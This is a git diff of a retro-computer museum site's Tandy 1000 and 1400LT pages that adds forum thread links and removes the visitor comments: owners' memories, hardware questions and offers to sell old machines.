nostalgia que senti de aquellos años en donde era el centro de atencion de mis amiguitos por dejarlos jugar en mi casa, ahora, junto con mi aquarius tambien tengo mi viejo atari 2600, si eres entusiasta como yo, te recomiendo nunca deshacerte de tu vieja computadora, ahora trabajo en ingenieria informatica, he conocido ya los mas poderosos microprocesadores, de mas de 3 GHz, pero siempre llego a casa a conectar mi viejo sistema y entretenerme horas y horas... - - author: AGT Pirrone (Gral Roca) - date: Saturday 10th January 2004 - text: Tengo 16 años y para la epoca en que mi viejo compro la talent yo no tenia idea del mundo hace dos dias mi viejo recupero la vieja talent DCP-200 y realmente me encanto lo unico es que esta incompleta, no tengo los joystick para jugar y todos los QuickDisk que tenia se han perdido... ademas eetoy aprendiendo a progamar dasde aca que es algo divertido para despues pasar al Visual Basic.... espero que me sirva por ahora busco los comandos... porque tampoco tengo los manuales de la talent.... - - author: javier (argentina) - date: Saturday 12th October 2002 - text: lo mejor de esa epoca, la mejor relacion cosot beneficio. yo tenia dos una msx para administracion y una msx2 para graficos oc_id: 699 source: url: https://web.archive.org/web/20230331122002/http://www.old-computers.com/museum/computer.asp?c=699 diff --git a/content/museum/tandy-radio-shack-1000-ex.md b/content/museum/tandy-radio-shack-1000-ex.md index fb82a243..4b911e06 100644 --- a/content/museum/tandy-radio-shack-1000-ex.md +++ b/content/museum/tandy-radio-shack-1000-ex.md @@ -65,6 +65,7 @@ params: - emulators - links - docs + forum_thread: 1180 photos: - title: TANDY 1000 EX subtitle: '' @@ -202,23 +203,6 @@ params:  type of document : PDF\  size : 13.5 MB\  source : [ftp.robertstinnett.com](ftp://ftp.robertstinnett.com/mirror) - comments: - - author: Yan (Brazil) - date: Tuesday 20th December 2016 - text: Really very good old times! I think your computer not recognizing the hard disk is most probably because the HD or interface is dead. It was very common at that time. I have lost some of mines with very few use. The first I had that died was a 30MB Seagate... - - author: Mike Kaltenhauser (canada) - date: Thursday 1st October 2015 - text: I used mine all the way up to 1989, I used to surf the web, I mean BBS by dial up back then. Played dungeons and dragons, and Chess written in Turbo Pascal. - - author: Fred Howe (New York State, USA) - date: Tuesday 21st April 2015 - text: I received a 1000EX from my wife for Christmas, 1986. She bought it on installments of $25.00 per month on our Mobil gas card. It came with 256k ram, DOS 3.2, Deskmate software, the CM-11 monitor and a DMP-130 printer, in several boxes. I loved playing with it, and soon had it tricked out with the memory expansion board with 640k of ram, a mouse, and second, external floppy drive. Although Tandy officially swore it was impossible, I searched and found a manufacturer who made me an interface board and sold me an external 40mb hard drive with its'' own power supply. I don''t think I could boot off the hard drive, but the computer recognozed it on bootup and I sure loved all the storage space. I could run dozens of programs straight off the hard drive. After a while, I moved on to bigger and faster computers, the first of many being an NEC 386 running DOS 6.0 and a 60 mb hard drive with 2mb of ram. Ahh, the good old days!. Flash forward 29 years to today, I still have the EX, and - it still bootd up and both floppies still work. Unfortunately, something has gone awry with the DOS 5.0 boot floppy, so the computer doesn''t recognize the hard drive. Or, worse, something has gon wrong with the hard drive. it spins up, but it doesn''t talk to the computer. If anyone ahs any insight as to what parameters I should have in the autoexec.bat ans config.sys files, I''d love to tyr to get this beauty back in fighting shape. Ifg you think you might have something to offer, e-mail me at lawlessman1@hotmail.com. I cna send you the current contents of those files, if it would help. - - author: jeaston444 - date: Sunday 28th August 2011 - text: I think the game you played was Space Quest - - author: Ray (Canada) - date: Monday 13rd December 2010 - text: I remember this little computer, my dad bought me one when I was just a kid. I remember playing a Star Wars game of some sort on it, and being overjoyed when I learned how to print out text with BASIC. I was about 5 or 6 when I got it, and I don''t think a day has passed since, when I have not had a keyboard under my fingers. This Tandy began my intelligent life. related: - /museum/tandy-radio-shack-1000 - /museum/tandy-radio-shack-1000-hx diff --git a/content/museum/tandy-radio-shack-1000-hx.md b/content/museum/tandy-radio-shack-1000-hx.md index fd657a6d..f823bab3 100644 --- a/content/museum/tandy-radio-shack-1000-hx.md +++ b/content/museum/tandy-radio-shack-1000-hx.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 1179 photos: - title: TANDY 1000 HX subtitle: '' @@ -196,54 +197,6 @@ params:  type of document : PDF\  size : 13.5 MB\  source : [ftp.robertstinnett.com](ftp://ftp.robertstinnett.com/mirror) - comments: - - author: Rich (United States) - date: Wednesday 25th August 2021 - text: I''m interested in buying it. Where are you located? - - author: Caralynne K Kline (United States) - date: Thursday 21st January 2021 - text: I have a brand new Tandy 1000HX computer and monitor with original manuals and accessories brand new in box. I''ve never used it looking to sell for $500 OBO 7272920764 - - author: Cameron Young (USA) - date: Monday 30th November 2020 - text: I received this computer as a hand me down from my grandma. Wish I still had it. - - author: Rich (TX USA) - date: Friday 18th October 2019 - text: |- - My first Computer $ still running! Looking for parts if anyone has leads! I need the following: - - \- Plastic cover that slides over the hard card slots\ - \- The door for the Original matching Tandy monitor\ - \- The Original 720K internal 3.5" Floppy Drive - - Also interested in any other external accessories! - - Thanks - - author: Kelly R. (Wood River, IL USA) - date: Thursday 30th August 2018 - text: My first PC-compatible. Though my memories of it are sparse, they''re quite fond. These computers are tough, and designed to last$ not something you''ll find these days. - - author: Tom Petro - date: Wednesday 8th February 2017 - text: My first computer. Got it for work to do payroll and track inventory. also it typed up contracts, proposals, using PC-file. It did a fantastic job even surpassing the business $35,000 IBM which had been mothballed due to the office incompetence which cost the company $$$. In time it had 640k, 2-720 , an external 360, a 2400 modem and a 42 meg internal HDD. - - author: Randy (United States) - date: Monday 21st September 2015 - text: This was one of my very first personal computers, the price on this system was $699.00 in 1987, it was fun to program and play with, most program are a version of C. Deskmate was very good desk top organizer. - - author: Tommy - date: Monday 12th May 2014 - text: Deskmate was a nice little piece of software that came with the Tandy 1000 HX - it had a faux windows look, and had a simple word processor, spreadsheet, drawing program, and a music program. Many programs at the time also supported "Tandy Color" a graphics standard in between CGA and EGA formats, that offered additional colors beyond the CGA standard, but at the same resolution. - - author: jscottu (Indianapolis, IN) - date: Sunday 16th June 2013 - text: My first computer. I paid $200 used at Radio Shack (1989). In the mid 90''s I gave it to the kid next door. Today''s cell phones have more than 100 times the computing power. But it was great at the time. - - author: Chris - date: Saturday 10th July 2010 - text: This was my first computer. I got it as a birthday present when I was six, so that would be 1987 or so. As I opened the box, I saw the monitor first, and I said "Oh, wow, a TV!" My dad replied, "no, son. That''s a computer." I said, "oh. Ok. What do I do with it?" My dad said, "Damned if I know" and handed me the manual for DOS 3.1. At six years old. And that, folks, is what got me introduced to the wonderful world of computing. :-) - - author: Eileen (USA) - date: Wednesday 30th April 2008 - text: |- - My mom had one of these and one day casually mentioned that she couldn't get it to work. I said, "Let me tinker around with it." I was just really starting to get into computers after figuring out how to program our DOS barcode labeler at work. I took the machine, took it apart, put a modem and a mouse card in it, and actually started surfing the net on it. It had a 4-color monitor and I remember trying to keep a spreadsheet on that DeskMate software. I feel like I cut my computer chops on that little machine, and it was the true start of my mid-life love of them. I ended up giving it to Goodwill due to lack of space when I acquired a 386, but now I almost wish I still had it. - - This is a great website with many fascinating machines, and I thank everyone involved. Kudos to you all and keep up the good work! - - \~ E. related: - /museum/tandy-radio-shack-1000 - /museum/tandy-radio-shack-1000-ex diff --git a/content/museum/tandy-radio-shack-1000-sl-sl-2.md b/content/museum/tandy-radio-shack-1000-sl-sl-2.md index c2471780..6b964023 100644 --- a/content/museum/tandy-radio-shack-1000-sl-sl-2.md +++ b/content/museum/tandy-radio-shack-1000-sl-sl-2.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 1185 photos: - title: 1000 SL subtitle: '' @@ -163,68 +164,6 @@ params:  type of document : PDF\  size : 13.5 MB\  source : [ftp.robertstinnett.com](ftp://ftp.robertstinnett.com/mirror) - comments: - - author: James Hanley (USA) - date: Tuesday 13rd October 2020 - text: |- - I LOVED my Tandy 1000 exactly because I didn''t care about it! It was a gift when everyone had 286s and were even looking forward to the release of the first 386s. So after I tired of Solitaire (it had been upgraded to Dos5 by the previous owner) and journaling, I set out to learn everything I could.... by the crash and burn method. - - I ran every .exe, .com, and .bat file on that box. It often "died" and I then had to learn how to recover. One day I hot swap pulled the WD PATA 20MB drive on an ISA sled to learn about it''s jumpers and in a few minutes (NOT seconds!) I saw a graphic desktop! I discovered it was DOS 3 in ROM and though it was agonizingly slow it opened my eyes. - - That same week a friend "rescued" a set of PC Tools disks from a wastebasket when her place of business upgraded to a Mini Mainframe and I discovered PCs are not just tools, they are TOOLBOXES! A fella could put any kind of tools in them! PC Shell just kicked open the doors. Suddenly I could see the entire directory hierarchy. I''ve never been the same since. - - author: Sawa (Canada) - date: Thursday 1st March 2018 - text: I still got my tandy 1000SL and all the docs, brochure, manuals and disks that came with it. It was an awesome computer at the time, even without a hard drive. The souns, colors and 5-seconds boot were second only to the TL model ! Bought it in 89 when it hits the local Radio Shack ($1850 with color monitor and sales taxes) and used it until the year 2000. I replaced it with a 500mHz PC clone mainly because the needs for internet. - - author: Medic26 on PC-Link - date: Friday 12th September 2014 - text: |- - I remember my 1000SL... My first computer also. I was out of college and found this thing in 1991, two years after it came out, so it fit the budget, but was definitely an extravagance back then. I bought the acoustic coupler modem and eventually sprung for a hard disk... I was told I''d never fill up the whole thing, a whole 20 MB!\ - I remember the Deskmate software, my version of which was not capable of doing "lozenges" when a box was empty, and I remember both PC-Link and the free trial to Compuserve... boy did that get me in some financial trouble! I was very happy to find Prodigy, however, because that''s where my wife and I met. So thank you, Radio Shack and Prodigy. Because of you both, my wife and I met, and I''m about to become a grandfather. :) - - author: Jonavan Barnes (United Kingdom) - date: Tuesday 12th March 2013 - text: |- - Amaizing. this was my first computer. I''ll never forget the day that I took it out of the box, turned it on, and it played "Cannon in D" through the MIDI. It changed my life.\ - We had some amazing times together. I wish to god I still had him. - - author: Elisha Belcher (USA) - date: Sunday 19th August 2012 - text: |- - My church had two SL/2''s in the Christian school we had. (I completed K-3rd grade and afterwards the school was too small to stay open any longer.) - - I played many hours of "The New Math Blaster Plus!" and Reader Rabbit 1 $ 2 on these computers! - - I would have both of them in my possession now, but sadly they perished in a building fire. $ All of the Deskmate disks were stored in another building, so I was able to acquire them as well as the original owner''s manual and advertisement brochure! - - Great DOS computers! Would love to have one! - - author: Robert Wiggins (USA) - date: Wednesday 1st February 2012 - text: |- - I rescued this computer from my high school when it was no longer needed. I liked that it had a 3.5-inch floppy drive, since my other computers at the time only had 5.25-inch floppies. - - I used this machine for about three years, during my senior year in high school and two years in college. It had a hard drive installed on an expansion card, and the graphics were a lot better than regular CGA graphics. However, once I added an EGA card to the system, I freed up the system memory that was being used by the onboard adapter. - - Later on, I took the EGA card and hard drive out and installed them in another machine. Overall, though, the 1000 served me well and I enjoyed it very much. - - author: Mark S. (Canada) - date: Friday 4th November 2011 - text: |- - We had an S/L2 as our family computer until 1999 when we got an iMac, but we kept the Tandy until it quit working sometime between 2004-2006. - - I don''t remember a time before we had this computer and I must have been about six (1995) when I became interested in it. At first I would just play Solitaire (probably imitating dad), but we had Broderbund Painting software which I also wasted plenty of ink with on banners. My parents got me SpellCopter and MathCopter, which probably gave me an edge back then. Of course being bored I checked out the other software we had stored on floppies or internally. We had Paganitzu and it''s sequel on floppy, Gorillas and Snake in DOS, and the demos to Castles and Space Quest IV, along with MineSweeper on Windows. I was intrigued about Space Quest as I could never find the ''game'' aspect to it (I believe the demo only included cutscenes) and I couldn''t figure out Castles until I was older and figured out it''s GUI. Castles always crashed the computer just as I was getting good at it, unfortunately. I was definitely disappointed when I found out I couldn''t have a silly match of Gorillas with my brother, or master Paganitzu and it''s sequel any longer when it couldn''t boot past the BIOS any longer. - - Oh, what did we need the computer for? My parents were using it for personal finance book keeping. My dad used it for schematics (he''s an electrician/general handyman at the plant he works at) seldomly. I used it for homework too... Once? - - author: DudeGuy - date: Friday 6th May 2011 - text: This was my first computer back in the 90s. I wish I still had that thing. Ah memories of playing the original side scrolling Duke Nukem, Ken''s Labyrinth, Blake Stone Aliens of Gold, Commander Keen. Good good times. - - author: Jeffrey Drake - date: Thursday 25th February 2010 - text: I had a Tandy 1000 SL in the first 5 years of the 90s. It was a wonderfully designed piece of hardware. One detail I remember was that of the 384 kB of memory, only 320 kB was available. - - author: Doug Chambers - date: Saturday 22nd November 2008 - text: |- - I used a Tandy 1000 SL/2 when I was a kid back in 1990. It was given away a long time ago, but I still have the programs that came with it on 3.5" disk. I remember it came with a simple drawing program, a word processing program, and a very nifty music program where you were shown a staff and could place notes on it. You could have the program play your composition through the computer''s speaker. Also included was a program for saving recipes. - - Radio Shack sold a joystick made for the system as well as a mouse. If I remember correctly, the mouse only worked with the Deskmate programs and a couple of games. Most programs that I had did not recognize the mouse. - - That''s really all I remember about the system other than the fact that it was my first computer and was quite useful and entertaining at the time, and it worked very well, as it never gave me any problems in the 5 years I had it. related: - /museum/tandy-radio-shack-1000 - /museum/tandy-radio-shack-1000-ex diff --git a/content/museum/tandy-radio-shack-1000-sx.md b/content/museum/tandy-radio-shack-1000-sx.md index 23a63f95..8fb00a25 100644 --- a/content/museum/tandy-radio-shack-1000-sx.md +++ b/content/museum/tandy-radio-shack-1000-sx.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 1182 photos: - title: 1000 SX subtitle: '' @@ -165,58 +166,6 @@ params:  type of document : PDF\  size : 13.5 MB\  source : [ftp.robertstinnett.com](ftp://ftp.robertstinnett.com/mirror) - comments: - - author: Dodge SE (United States) - date: Tuesday 25th May 2021 - text: I bought mine with 384Kb of RAM and at the end of use, around 1990. I had an Everex 1200 Baud modem and 128Kb of RAM from a donor AST computer. I have in storage and will probably fire it up to play Starflight or Gunship, one more time. - - author: Dodge SE (United States) - date: Tuesday 25th May 2021 - text: I bought mine with 384Kb of RAM and at the end of use, around 1990. I had an Everex 1200 Baud modem and 128Kb of RAM from a donor AST computer. I have in storage and will probably fire it up to play Starflight or Gunship, one more time. - - author: Stephen Britt (United States) - date: Thursday 18th March 2021 - text: I have a Tandy 1000 complete, with monitor still in the original packing for sale! - - author: Don. - date: Monday 23rd November 2020 - text: I still have mine. It came with two floppy drives. - - author: Bob Dog (Canada) - date: Tuesday 17th September 2019 - text: |- - The 1000SX was the first DOS computer I owned...in 1992, when I bought it used. It was underpowered compared to new machines on the market, but it still worked (though 16kb of the 640kb didn''t, down to 624). - - With an external 20MB HDD, a 3.5" drive raided from a 1000HX (and an adapter) and a 14.4K modem, I was able to do my comp sci work and other from home. It was good enough for logging in to the college''s VAX via Kermit, later for using Lynx on the local Freenet. I wouldn''t be able to live with it today, but I''m glad I had it at the time. - - author: Brent Goeller (United States) - date: Thursday 27th July 2017 - text: Why do you guys talk in past tense? Mine is still played by my kids. Mine is seriously upgraded and maxed out. I debate all the time on restoring the yellow case, but I''m afraid if I completely tear it down, it won''t turn back on when I put it back together. There are some awesome mods available to use SD cards out there so you don''t need the floppies anymore. I learned to program on this computer in 1990. - - author: Roberto (Panama) - date: Monday 24th August 2015 - text: I stand corrected, the 8088 was the correct model of cpu, a variant of 8086 with "turbo" mode... (I got it in my head the other way around, but a few searches made me remember 8086,286,386...), I loved that computer btw, King''s Quest II was a delight for that time and my age...(never played the I :( ) - - author: Robert (Panama) - date: Monday 24th August 2015 - text: I''m pretty sure the processor was an 8086, slight different than the 8088... can you confirm? - - author: scott (Ohio/USA) - date: Monday 11th August 2014 - text: |- - I have this model.. Still works too.As does the printer that came with it.\ - My dad used it to do alot of his writing before I updated him to a Linux pc - - Back in the day I added Ram to it so the 1000sx could get max of 640k It needed that in order to run software like\ - Spinnakers eight-in-one\ - still love to find a HD for it. - - author: dan - date: Thursday 2nd June 2011 - text: My first computer was a 1000sx and as I got to play Tandy 16-color games like Black Couldron and King''s Quest, tetris, it was a treat. The DMP-130 though didn''t work well - - author: Carl (usa) - date: Friday 27th August 2010 - text: This was my first computer and it was amazing for the time. A friend bought me Starflight and I played it around the clock for 2 days. Games were hard to find back then but I met a teacher who ran the computer dept. for the Caddo Parish school system and I didn''t have that problem anymore. I wish the games today were as much fun as back then. - - author: Jim (USA) - date: Thursday 19th February 2009 - text: This was my first "real" computer! My buddy worked at Tandy in Ft. Worth and scored an employee deal ($500?). I was Hot Stuff amongst the clan when we got the 20 meg HD . . . Explaining you could put about SIXTY current day floppies on it! - - author: Jim (USA) - date: Thursday 19th February 2009 - text: It was a real work-horse for the price and era. We had one in a college apartment that was used and abused and never missed a beat. I was still using it with a daisly wheel printer in ''93 to start a business. - - author: Matt (Michigan) - date: Tuesday 2nd October 2007 - text: I recently recieved one of these, but mine has 1 5" floppy drive, and 1 3" drive. related: - /museum/tandy-radio-shack-1000 - /museum/tandy-radio-shack-1000-ex diff --git a/content/museum/tandy-radio-shack-1000-tx.md b/content/museum/tandy-radio-shack-1000-tx.md index 42bcc945..d8ea14ef 100644 --- a/content/museum/tandy-radio-shack-1000-tx.md +++ b/content/museum/tandy-radio-shack-1000-tx.md @@ -62,6 +62,7 @@ params: - links - docs - videos + forum_thread: 1183 photos: - title: 1000 TX subtitle: '' @@ -160,39 +161,6 @@ params: - title: Tandy 1000 TX - TV commercial url: https://www.youtube.com/watch?v=Z5gelel83u4 text: 'Length: 30 s' - comments: - - author: Joseph Linington (Canada) - date: Thursday 26th January 2023 - text: I had a Tandy 1000TX that my father bought in 1987 and was our family computer until 1991-1992. It was a very weird machine built on the Tandy 1000 XT platform with only support for 640k ram plus 128K extra video ram, no support for extended memory and only 8 bit ISA slots. All of this even though the TX had an 8Mhz 80286 processor. By the end of it''s life with me we had added a second floppy and a 20MB hardcard. The machine came with Dos 3.2 and did not have Dos or DeskMate in ROM like some of the earlier Tandy 1000''s. - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: The last copy of of MS-DOS I bought in a shrink-wrapped box was MS-DOS 4 and it worked great on this machine. I bought it at the Salvation Army thrift store in Estevan, Sk, Canada. - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: I posted this in the original 1000 forum. Sorry! My first MSDOS-compatible comp was a Tandy 1000TX with a 20meg Hardcard. I rescued it from the landfill and it had CM-5 monitor. Great machine...... although not as good as my maxed-out CoCo 3. I wish I still had both of them. DeskMate, in all its forms, was effing wonderful. I still use the last version in DOSBox. Sublime. - - author: Jeff Friend (Brisbane Australia) - date: Friday 18th October 2019 - text: My first computer was a Tandy 1000TX in 1989. No HDD, only 640K RAM and a single 1.4mb FDD. I ran everything from a MS-DOS 4.2 DOS prompt. About a year later, I upgraded the RAM to 768K and added a second FDD. This cost me about $2500. I gave that computer away in 1994. I wish I had of kept it... - - author: John A Miller (United States) - date: Saturday 1st April 2017 - text: I have a Tandy-1000 TX in great condition. Anyone want it? call me. (912) 398-8632. - - author: Thom (Central NJ) - date: Saturday 21st July 2012 - text: 'I owned a T1000 TX, and added aftermarket goodies: a 10meg hard drive card, a VGA card, and 2 meg of bank memory. I had given the computer to a co-worker in 1991, when I got a new computer, but I enjoyed that computer the most of all that I''''ve owned.' - - author: HOLLY (Davie, FL, USA) - date: Tuesday 24th April 2012 - text: I need the keyboard for the tandy 1000tx. anyone? anyone? buehler, buehler???? - - author: Marilyn - date: Saturday 22nd January 2011 - text: |- - We still have a Tandy 1000 computer...it is approx 23 years old now. Still works, plus have the printer too. Anyone interested in buying it ? Please phone 641-512-2355\ - We are in Iowa - - author: Terry Mills (Mentor, Ohio, USA) - date: Saturday 5th June 2010 - text: This was my third computer and one of my favorites. I ran Autocad on this computer. This was one computer that never failed me. When the sever at work went down we could hook the drives up this baby and it always performed. In fact even though we could not even close the case it out performed the companies newer machines. - - author: Ray Jewhurst (Roseville, MI) - date: Saturday 14th April 2007 - text: The second computer I ever owned was a Tandy 1000TX and boy did I love it. Mine had a 20 mb hard card and 768k RAM and a Smart Clock chip in it. I used to play the old SSI "Gold Box" D&D games on it and the graphics and sound for the time were amazing almost as good as EGA. related: - /museum/tandy-radio-shack-1000 - /museum/tandy-radio-shack-1000-ex diff --git a/content/museum/tandy-radio-shack-1000.md b/content/museum/tandy-radio-shack-1000.md index 73eb70a1..e7970e09 100644 --- a/content/museum/tandy-radio-shack-1000.md +++ b/content/museum/tandy-radio-shack-1000.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 1178 photos: - title: TANDY 1000 subtitle: '' @@ -207,84 +208,6 @@ params:  type of document : PDF\  size : 13.5 MB\  source : [ftp.robertstinnett.com](ftp://ftp.robertstinnett.com/mirror) - comments: - - author: Ethan Reno (United States) - date: Wednesday 26th January 2022 - text: https://avatars.mds.yandex.net/get-images-cbir/2249218/Uz0jqlxYPLHl8x49YfcTiw0126/ocr Here’s the link to the image of it. - - author: Ethan (United States) - date: Wednesday 26th January 2022 - text: I have a Tandy RGB high resolution color monitor CM – 1 with a weird eight pin tall display port and I cannot find a cable for it it has 6 pins at the bottom in a row going up then it has a space between with 2 pins together at the top. Kinda hard to describe it I tried using image searching and found nothing - - author: Ethan (United States) - date: Wednesday 26th January 2022 - text: Just trying to figure out what this computer monitor is - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: DeskMate, in all its forms, was effing wonderful. I still use the last version in DOSBox. Sublime. - - author: Greg Bzdell (Canada) - date: Monday 24th May 2021 - text: My first MSDOS-compatible comp was a Tandy 1000TX with a 20meg Hardcard. I rescued it from the landfill and it had CM-5 monitor. Great machine...... although not as good as my maxed-out CoCo 3. I wish I still had both of them. - - author: Sammy Fox (Canada) - date: Tuesday 4th May 2021 - text: Stephen Britt, I''m in canada. how much would you sell it for? my email is everett1911@hotmail.com - - author: Stephen Britt (United States) - date: Saturday 1st May 2021 - text: I have a still in the box Tandy 1000 with original monitor also in original packing. Received on 12/26/84. Looking to sale! - - author: Deirdre (US) - date: Monday 28th September 2020 - text: My first computer bought w/Tandy credit card at 21$ interest, so I got the bare bones model. Used a black + white portable TV as a monitor. Not great when I was taking a BASIC programming class. Had to scroll up and down to see the line $s due to the curved left and right sides of the TV''s display. Loved DeskMate software! - - author: Rich Nord (USA) - date: Saturday 25th April 2020 - text: We came across several discs. Basic and supplemental. 2 discs and deskmate discs 1-4. We have more if anyone is interested I can go through what we have. Let me know. Thanks. - - author: Jon W (Wisconsin) - date: Tuesday 22nd October 2019 - text: My 3rd computer was a Tandy 1000SX, I stated with a Tandy Color Mini MC-10 and then a TRS-80 4P "portable". I have my original MC-10 and a 4P I was given a few years ago. Recently added a Tandy 1000 HD to the collection. The HD was the original 1000 with a factory Hard Drive. - - author: The Wizard (USA) - date: Thursday 30th August 2018 - text: I have a growing collection of Tandy Computers and I am in need of software to use on them, I am not asking for freebies, and am willing to pay if need be. Thank You. - - author: SteveAngel (United States) - date: Sunday 26th November 2017 - text: I had a base Tandy 1000. It definitely didn''t have DOS or Deskmate in ROM. I used the basic system until I realized it was almost unusable without the upgrade to 640K. I also had the Tandy 300 baud modem which was an abomination that had no speaker and couldn''t detect busy signal. I later upgraded to a 10 meg hard drive after I figured out how Tandy had flipped the Hard Drive and Video IRQ''s on the motherboard so you needed a specially modified Western Digital controller board to make it work. Despite all of that I loved the thing! - - author: Guy (Hawai''i) - date: Tuesday 2nd August 2016 - text: I had both the Tandy 1000 (purchased in 1986) and the Tandy 1000 TL. I was very satisfied with both. I was a previous owner of the TRS-80 (my introduction to home computers and programming). The things which that drew me to the Tandy 1000-series were the price (several hundred dollars cheaper than the IBM counterpart), ease of upgrade (I always installed my own parts) and the 16-color monitor and 3-voice sound card (available in the PC Jr, but no one wanted a computer named Junior!) - - author: Skel (Canada) - date: Friday 30th January 2015 - text: I HAD a Tandy-1000. It was in perfect working condition but sadly, when I had to move from a house to an apartment (downsizing) two years ago, it simply could not fit. I had a choice $ keep the Commodore 64 (the computer I had as a kid) or the T1000 (one that was gifted to me 10 years ago from family friends). The case of the computer was damaged in a house fire years before but it otherwise worked perfectly. In the end, it was scrapped for parts. :( I kept those parts and used them when I was teaching at university as part of a class project to construct a computer. :) In a way... it lives on. I enjoyed writing this article years ago and still love to read it. :) - - author: Tony (United States) - date: Monday 17th June 2013 - text: I have a Tandy 1000 with Monitor, keyboard, and a Tandy Dot Matrix Printer 430. Used very little - - author: Logan (Arkansas) - date: Monday 17th October 2011 - text: I have a tandy 1000 TL/2. It has 640kb of RAM, a 3.5 inch floppy drive for 760k disks, CGA monitor, and Deskmate 3. Deskmate comes with Hangman, a word processor, a program to create and record music, a worksheet program, a painting program, a caculator, some schedule keeping things, PC-Link, address keeping programs, a telephone answering program, and MS-dos 3.3. Deskmate and DOS are built into the ROM so it starts up very fast (3-6 seconds!). It has 4 8-bit ISA slots (I think), you can add an IDE hard drive, and a CD-ROM drive can be added. Somehow the monitor works even though one of the connection pins on the cable is missing. anyway its an excellent machine. - - author: Logan (Arkansas) - date: Monday 17th October 2011 - text: I have a tandy 1000 TL/2. It has 640kb of RAM, a 3.5 inch floppy drive for 760k disks, CGA monitor, and Deskmate 3. Deskmate comes with Hangman, a word processor, a program to create and record music, a worksheet program, a painting program, a caculator, some schedule keeping things, PC-Link, address keeping programs, a telephone answering program, and MS-dos 3.3. Deskmate and DOS are built into the ROM so it starts up very fast (3-6 seconds!). It has 4 8-bit ISA slots (I think), you can add an IDE hard drive, and a CD-ROM drive can be added. Somehow the monitor works even though one of the connection pins on the cable is missing. anyway its an excellent machine. - - author: Logan (Arkansas) - date: Monday 17th October 2011 - text: I have a tandy 1000 TL/2. It has 640kb of RAM, a 3.5 inch floppy drive for 760k disks, CGA monitor, and Deskmate 3. Deskmate comes with Hangman, a word processor, a program to create and record music, a worksheet program, a painting program, a caculator, some schedule keeping things, PC-Link, address keeping programs, a telephone answering program, and MS-dos 3.3. Deskmate and DOS are built into the ROM so it starts up very fast (3-6 seconds!). It has 4 8-bit ISA slots (I think), you can add an IDE hard drive, and a CD-ROM drive can be added. Somehow the monitor works even though one of the connection pins on the cable is missing. anyway its an excellent machine. - - author: Logan (Arkansas) - date: Monday 17th October 2011 - text: I have a tandy 1000 TL/2. It has 640kb of RAM, a 3.5 inch floppy drive for 760k disks, CGA monitor, and Deskmate 3. Deskmate comes with Hangman, a word processor, a program to create and record music, a worksheet program, a painting program, a caculator, some schedule keeping things, PC-Link, address keeping programs, a telephone answering program, and MS-dos 3.3. Deskmate and DOS are built into the ROM so it starts up very fast (3-6 seconds!). It has 4 8-bit ISA slots (I think), you can add an IDE hard drive, and a CD-ROM drive can be added. Somehow the monitor works even though one of the connection pins on the cable is missing. anyway its an excellent machine. - - author: Pat (Canada) - date: Wednesday 18th May 2011 - text: |- - Wow, what a trip down memory lane... - - I bought the the original Tandy 1000 (4.77mhz, 128k ram, 2 5¼ disk drives, CGA monitor) for $1600can the year it came out (I was a teenager). I later bought an expansion board to bring the ram up to 640k, which also set be back some serious dough back then! :) It was indeed a beast in its days. - - It''s unreal how many lawns I mowed and kids I babysat to pay for that toy! - - author: Steve A (USA) - date: Monday 20th September 2010 - text: |- - The Tandy 1000 was my gaming machine, side-by-side with my Colecovision. While the Colecovision has long since been dead, my Tandy 1000 still runs when I hook it up. I still have 20+ games, all in 16 color glory. - - It''s nice knowing it still chugs along, because it was a great introduction into PC gaming :) - - author: Robert H (USA) - date: Tuesday 31st August 2010 - text: Much as I hate to argue, but the Tandy 1000 HX was not the first. The original was the Tandey 1000 (no letters after) I always wondered what dad $ped on mine was, but I spent many summers as a kid cutting grass just to pay him for it. It was my first true DOS pc. Prior to that I used a CPM board and a WHYSINC terminal. My T-1000 was a beast for the time I had the memory maxed, a 3.5 inch 720k floppy, and a 20 meg MFM HD card. (it was a drive mounted on a card that was latter replaced with two 70meg 5.25 full hight HD in a AT case. I went to the local computer junk store and had the ribbion cables custom made (about 3 feet a peiece. the data cable and the two control cables) I used that system till it finally died and I moved on the the 386/16mhz around 1988. It was the Best first real computer I ever hadm and even though I have sever Laptops and desktops with things that I never would have thought of then I still miss that old Tandy PC - - author: Seth (Earth) - date: Thursday 8th February 2007 - text: As a child, we had the Tandy 1000 HD in our house, which was the original Tandy 1000, but with a 10MB hard drive in the 2nd bay instead of a floppy. I can't imagine what my dad dropped to buy that machine at the time (circa 1985). Let me tell you, this thing was a rock! I think it never actually died, we just ended up replacing it with a 386 at some point. I owe my DOS skills and lifelong fascination with computers to that system. related: - /museum/tandy-radio-shack-1000-ex - /museum/tandy-radio-shack-1000-hx diff --git a/content/museum/tandy-radio-shack-1400-lt-fd-hd.md b/content/museum/tandy-radio-shack-1400-lt-fd-hd.md index f20d5a74..d3983b23 100644 --- a/content/museum/tandy-radio-shack-1400-lt-fd-hd.md +++ b/content/museum/tandy-radio-shack-1400-lt-fd-hd.md @@ -73,6 +73,7 @@ params: - adverts - links - docs + forum_thread: 1165 photos: - title: TANDY 1400LT subtitle: '' @@ -140,58 +141,6 @@ params:  type of document : PDF\  size : 1,4 MB\  source : [www.oldskool.org](http://www.oldskool.org/) - comments: - - author: Butz (USA) - date: Tuesday 7th December 2021 - text: Just found one while moving… going to have to see what kind of power it needs. - - author: Roussel Barriere (United States) - date: Saturday 10th October 2020 - text: I just found one, in the box with all original documents!? 20201010 - - author: KN2000 (USA) - date: Wednesday 3rd July 2019 - text: Hi, I have a Tandy 1400LT and had a question. First off as far as software for this PC. This PC is really intended for office duties (IMHO). Playing games on this computer, besides text based games is hard on the eye, due to the screen type. But, it''s still a great little PC from the past. I have a question, one of my drives only formatted a diskette to 360K. Shouldn''t both drives be 720K? Any ideas as to why that would be? Also, it doesn''t seem to like 720K disks. The drive lists the director bur doesn''t read files. Thoughts? - - author: egg - date: Tuesday 22nd May 2018 - text: Does anyone have one of these for sale? What are the capabilities as far as software? These are really interesting and quite unique. - - author: Oddie_ (Valencia, Spain) - date: Sunday 26th February 2017 - text: |- - I have a Tandy 1400LT which is still working. AC power connector is damaged but I got plug a Toshiba 15v-3A power supply to the DC internal connector. It has not battery but it works. - - Now it is 30 years old. I feel so lucky for having this machine. - - 